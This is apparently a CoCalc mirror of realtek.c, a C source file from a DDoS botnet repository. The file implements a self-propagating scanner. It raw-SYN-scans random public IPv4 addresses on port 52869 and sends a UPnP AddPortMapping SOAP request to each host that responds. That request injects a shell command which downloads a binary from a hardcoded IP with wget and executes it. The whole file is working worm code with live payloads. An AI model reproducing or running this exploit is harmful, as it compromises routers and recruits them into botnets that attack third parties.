Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/Realtek/realtek.c
5038 views
1
#define _GNU_SOURCE
2
3
#ifdef DEBUG
4
#include <stdio.h>
5
#endif
6
#include <unistd.h>
7
#include <stdlib.h>
8
#include <sys/socket.h>
9
#include <arpa/inet.h>
10
#include <sys/select.h>
11
#include <sys/types.h>
12
#include <time.h>
13
#include <fcntl.h>
14
#include <signal.h>
15
#include <errno.h>
16
#include <string.h>
17
#include <linux/ip.h>
18
#include <linux/tcp.h>
19
20
#include "includes.h"
21
#include "realtek_scanner.h"
22
#include "table.h"
23
#include "rand.h"
24
#include "util.h"
25
#include "checksum.h"
26
27
int realtekscanner_scanner_pid = 0, realtekscanner_rsck = 0, realtekscanner_rsck_out = 0;
28
char realtekscanner_scanner_rawpkt[sizeof(struct iphdr) + sizeof(struct tcphdr)] = {0};
29
struct realtekscanner_scanner_connection *conn_table;
30
uint32_t realtekscanner_fake_time = 0;
31
32
int realtekscanner_recv_strip_null(int sock, void *buf, int len, int flags)
33
{
34
int ret = recv(sock, buf, len, flags);
35
36
if(ret > 0)
37
{
38
int i = 0;
39
40
for(i = 0; i < ret; i++)
41
{
42
if(((char *)buf)[i] == 0x00)
43
{
44
((char *)buf)[i] = 'A';
45
}
46
}
47
}
48
49
return ret;
50
}
51
52
void realtekscanner_scanner_init(void)
53
{
54
int i = 0;
55
uint16_t source_port;
56
struct iphdr *iph;
57
struct tcphdr *tcph;
58
59
// Let parent continue on main thread
60
realtekscanner_scanner_pid = fork();
61
if(realtekscanner_scanner_pid > 0 || realtekscanner_scanner_pid == -1)
62
return;
63
64
LOCAL_ADDR = util_local_addr();
65
66
rand_init();
67
realtekscanner_fake_time = time(NULL);
68
conn_table = calloc(realtekscanner_SCANNER_MAX_CONNS, sizeof(struct realtekscanner_scanner_connection));
69
for(i = 0; i < realtekscanner_SCANNER_MAX_CONNS; i++)
70
{
71
conn_table[i].state = realtekscanner_SC_CLOSED;
72
conn_table[i].fd = -1;
73
}
74
75
// Set up raw socket scanning and payload
76
if((realtekscanner_rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
77
{
78
#ifdef DEBUG
79
printf("[scanner] failed to initialize raw socket, cannot scan\n");
80
#endif
81
exit(0);
82
}
83
fcntl(realtekscanner_rsck, F_SETFL, O_NONBLOCK | fcntl(realtekscanner_rsck, F_GETFL, 0));
84
i = 1;
85
if(setsockopt(realtekscanner_rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) != 0)
86
{
87
#ifdef DEBUG
88
printf("[scanner] failed to set IP_HDRINCL, cannot scan\n");
89
#endif
90
close(realtekscanner_rsck);
91
exit(0);
92
}
93
94
do
95
{
96
source_port = rand_next() & 0xffff;
97
}
98
while(ntohs(source_port) < 1024);
99
100
iph = (struct iphdr *)realtekscanner_scanner_rawpkt;
101
tcph = (struct tcphdr *)(iph + 1);
102
103
// Set up IPv4 header
104
iph->ihl = 5;
105
iph->version = 4;
106
iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
107
iph->id = rand_next();
108
iph->ttl = 64;
109
iph->protocol = IPPROTO_TCP;
110
111
// Set up TCP header
112
tcph->dest = htons(52869);
113
tcph->source = source_port;
114
tcph->doff = 5;
115
tcph->window = rand_next() & 0xffff;
116
tcph->syn = TRUE;
117
118
#ifdef DEBUG
119
printf("[scanner] scanner process initialized. scanning started.\n");
120
#endif
121
122
// Main logic loop
123
while(TRUE)
124
{
125
fd_set fdset_rd, fdset_wr;
126
struct realtekscanner_scanner_connection *conn;
127
struct timeval tim;
128
int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;
129
130
// Spew out SYN to try and get a response
131
if(realtekscanner_fake_time != last_spew)
132
{
133
last_spew = realtekscanner_fake_time;
134
135
for(i = 0; i < realtekscanner_SCANNER_RAW_PPS; i++)
136
{
137
struct sockaddr_in paddr = {0};
138
struct iphdr *iph = (struct iphdr *)realtekscanner_scanner_rawpkt;
139
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
140
141
iph->id = rand_next();
142
iph->saddr = LOCAL_ADDR;
143
iph->daddr = realtekscanner_get_random_ip();
144
iph->check = 0;
145
iph->check = checksum_generic((uint16_t *)iph, sizeof(struct iphdr));
146
147
tcph->dest = htons(52869);
148
tcph->seq = iph->daddr;
149
tcph->check = 0;
150
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));
151
152
paddr.sin_family = AF_INET;
153
paddr.sin_addr.s_addr = iph->daddr;
154
paddr.sin_port = tcph->dest;
155
156
sendto(realtekscanner_rsck, realtekscanner_scanner_rawpkt, sizeof(realtekscanner_scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof(paddr));
157
}
158
}
159
160
// Read packets from raw socket to get SYN+ACKs
161
last_avail_conn = 0;
162
while(TRUE)
163
{
164
int n = 0;
165
char dgram[1514];
166
struct iphdr *iph = (struct iphdr *)dgram;
167
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
168
struct realtekscanner_scanner_connection *conn;
169
170
errno = 0;
171
n = recvfrom(realtekscanner_rsck, dgram, sizeof(dgram), MSG_NOSIGNAL, NULL, NULL);
172
if(n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
173
break;
174
175
if(n < sizeof(struct iphdr) + sizeof(struct tcphdr))
176
continue;
177
if(iph->daddr != LOCAL_ADDR)
178
continue;
179
if(iph->protocol != IPPROTO_TCP)
180
continue;
181
if(tcph->source != htons(52869))
182
continue;
183
if(tcph->dest != source_port)
184
continue;
185
if(!tcph->syn)
186
continue;
187
if(!tcph->ack)
188
continue;
189
if(tcph->rst)
190
continue;
191
if(tcph->fin)
192
continue;
193
if(htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
194
continue;
195
196
conn = NULL;
197
for(n = last_avail_conn; n < realtekscanner_SCANNER_MAX_CONNS; n++)
198
{
199
if(conn_table[n].state == realtekscanner_SC_CLOSED)
200
{
201
conn = &conn_table[n];
202
last_avail_conn = n;
203
break;
204
}
205
}
206
207
// If there were no slots, then no point reading any more
208
if(conn == NULL)
209
break;
210
211
conn->dst_addr = iph->saddr;
212
conn->dst_port = tcph->source;
213
realtekscanner_setup_connection(conn);
214
}
215
216
FD_ZERO(&fdset_rd);
217
FD_ZERO(&fdset_wr);
218
219
for(i = 0; i < realtekscanner_SCANNER_MAX_CONNS; i++)
220
{
221
int timeout = 5;
222
223
conn = &conn_table[i];
224
//timeout = (conn->state > realtekscanner_SC_CONNECTING ? 30 : 5);
225
226
if(conn->state != realtekscanner_SC_CLOSED && (realtekscanner_fake_time - conn->last_recv) > timeout)
227
{
228
close(conn->fd);
229
conn->fd = -1;
230
conn->state = realtekscanner_SC_CLOSED;
231
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
232
233
continue;
234
}
235
236
if(conn->state == realtekscanner_SC_CONNECTING || conn->state == realtekscanner_SC_EXPLOIT_STAGE2 || conn->state == realtekscanner_SC_EXPLOIT_STAGE3)
237
{
238
FD_SET(conn->fd, &fdset_wr);
239
if(conn->fd > mfd_wr)
240
mfd_wr = conn->fd;
241
}
242
else if(conn->state != realtekscanner_SC_CLOSED)
243
{
244
FD_SET(conn->fd, &fdset_rd);
245
if(conn->fd > mfd_rd)
246
mfd_rd = conn->fd;
247
}
248
}
249
250
tim.tv_usec = 0;
251
tim.tv_sec = 1;
252
nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);
253
realtekscanner_fake_time = time(NULL);
254
255
for(i = 0; i < realtekscanner_SCANNER_MAX_CONNS; i++)
256
{
257
conn = &conn_table[i];
258
259
if(conn->fd == -1)
260
continue;
261
262
if(FD_ISSET(conn->fd, &fdset_wr))
263
{
264
int err = 0, ret = 0;
265
socklen_t err_len = sizeof(err);
266
267
ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
268
if(err == 0 && ret == 0)
269
{
270
if(conn->state == realtekscanner_SC_EXPLOIT_STAGE2)
271
{
272
#ifdef DEBUG
273
printf("[scanner] FD%d sending payload\n", conn->fd);
274
#endif
275
276
277
util_strcpy(conn->payload_buf, "POST /picdesc.xml HTTP/1.1\r\nHost: 127.0.0.1:52869\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nAccept: */*\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\nConnection: keep-alive\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://185.10.68.127/rtbin -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>\r\n\r\n");
278
send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);
279
util_zero(conn->payload_buf, sizeof(conn->payload_buf));
280
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
281
282
close(conn->fd);
283
realtekscanner_setup_connection(conn);
284
conn->state = realtekscanner_SC_EXPLOIT_STAGE3;
285
286
continue;
287
}
288
else if(conn->state == realtekscanner_SC_EXPLOIT_STAGE3)
289
{
290
#ifdef DEBUG
291
printf("[scanner] FD%d finnished\n", conn->fd);
292
#endif
293
294
util_strcpy(conn->payload_buf, "POST /wanipcn.xml HTTP/1.1\r\nHost: 127.0.0.1:52869\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nAccept: */*\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\nConnection: keep-alive\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://185.10.68.127/rtbin -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>\r\n\r\n");
295
send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);
296
util_zero(conn->payload_buf, sizeof(conn->payload_buf));
297
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
298
299
close(conn->fd);
300
conn->fd = -1;
301
conn->state = realtekscanner_SC_CLOSED;
302
303
continue;
304
}
305
else
306
{
307
#ifdef DEBUG
308
printf("[scanner] FD%d connected to %d.%d.%d.%d\n", conn->fd, conn->dst_addr & 0xff, (conn->dst_addr >> 8) & 0xff, (conn->dst_addr >> 16) & 0xff, (conn->dst_addr >> 24) & 0xff);
309
#endif
310
311
conn->state = realtekscanner_SC_EXPLOIT_STAGE2;
312
}
313
}
314
else
315
{
316
close(conn->fd);
317
conn->fd = -1;
318
conn->state = realtekscanner_SC_CLOSED;
319
320
continue;
321
}
322
}
323
324
if(FD_ISSET(conn->fd, &fdset_rd))
325
{
326
while(TRUE)
327
{
328
int ret = 0;
329
330
if(conn->state == realtekscanner_SC_CLOSED)
331
break;
332
333
if(conn->rdbuf_pos == realtekscanner_SCANNER_RDBUF_SIZE)
334
{
335
memmove(conn->rdbuf, conn->rdbuf + realtekscanner_SCANNER_HACK_DRAIN, realtekscanner_SCANNER_RDBUF_SIZE - realtekscanner_SCANNER_HACK_DRAIN);
336
conn->rdbuf_pos -= realtekscanner_SCANNER_HACK_DRAIN;
337
}
338
339
errno = 0;
340
ret = realtekscanner_recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, realtekscanner_SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
341
if(ret == 0)
342
{
343
errno = ECONNRESET;
344
ret = -1;
345
}
346
if(ret == -1)
347
{
348
if(errno != EAGAIN && errno != EWOULDBLOCK)
349
{
350
if(conn->state == realtekscanner_SC_EXPLOIT_STAGE2)
351
{
352
close(conn->fd);
353
realtekscanner_setup_connection(conn);
354
continue;
355
}
356
357
close(conn->fd);
358
conn->fd = -1;
359
conn->state = realtekscanner_SC_CLOSED;
360
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
361
}
362
break;
363
}
364
365
conn->rdbuf_pos += ret;
366
conn->last_recv = realtekscanner_fake_time;
367
368
int len = util_strlen(conn->rdbuf);
369
conn->rdbuf[len] = 0;
370
}
371
}
372
}
373
}
374
}
375
376
void realtekscanner_scanner_kill(void)
377
{
378
kill(realtekscanner_scanner_pid, 9);
379
}
380
381
static void realtekscanner_setup_connection(struct realtekscanner_scanner_connection *conn)
382
{
383
struct sockaddr_in addr = {0};
384
385
if(conn->fd != -1)
386
close(conn->fd);
387
388
if((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
389
{
390
return;
391
}
392
393
conn->rdbuf_pos = 0;
394
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
395
396
fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
397
398
addr.sin_family = AF_INET;
399
addr.sin_addr.s_addr = conn->dst_addr;
400
addr.sin_port = conn->dst_port;
401
402
conn->last_recv = realtekscanner_fake_time;
403
404
if(conn->state == realtekscanner_SC_EXPLOIT_STAGE2 || conn->state == realtekscanner_SC_EXPLOIT_STAGE3)
405
{
406
}
407
else
408
{
409
conn->state = realtekscanner_SC_CONNECTING;
410
}
411
412
connect(conn->fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
413
}
414
415
static ipv4_t realtekscanner_get_random_ip(void)
416
{
417
uint32_t tmp;
418
uint8_t o1 = 0, o2 = 0, o3 = 0, o4 = 0;
419
420
do
421
{
422
tmp = rand_next();
423
424
o1 = tmp & 0xff;
425
o2 = (tmp >> 8) & 0xff;
426
o3 = (tmp >> 16) & 0xff;
427
o4 = (tmp >> 24) & 0xff;
428
}
429
while(o1 == 127 || // 127.0.0.0/8 - Loopback
430
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
431
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
432
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
433
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
434
(o1 == 10) || // 10.0.0.0/8 - Internal network
435
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
436
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
437
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
438
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
439
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
440
(o1 >= 224) || // 224.*.*.*+ - Multicast
441
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
442
);
443
444
return INET_ADDR(o1,o2,o3,o4);
445
}
446
447
448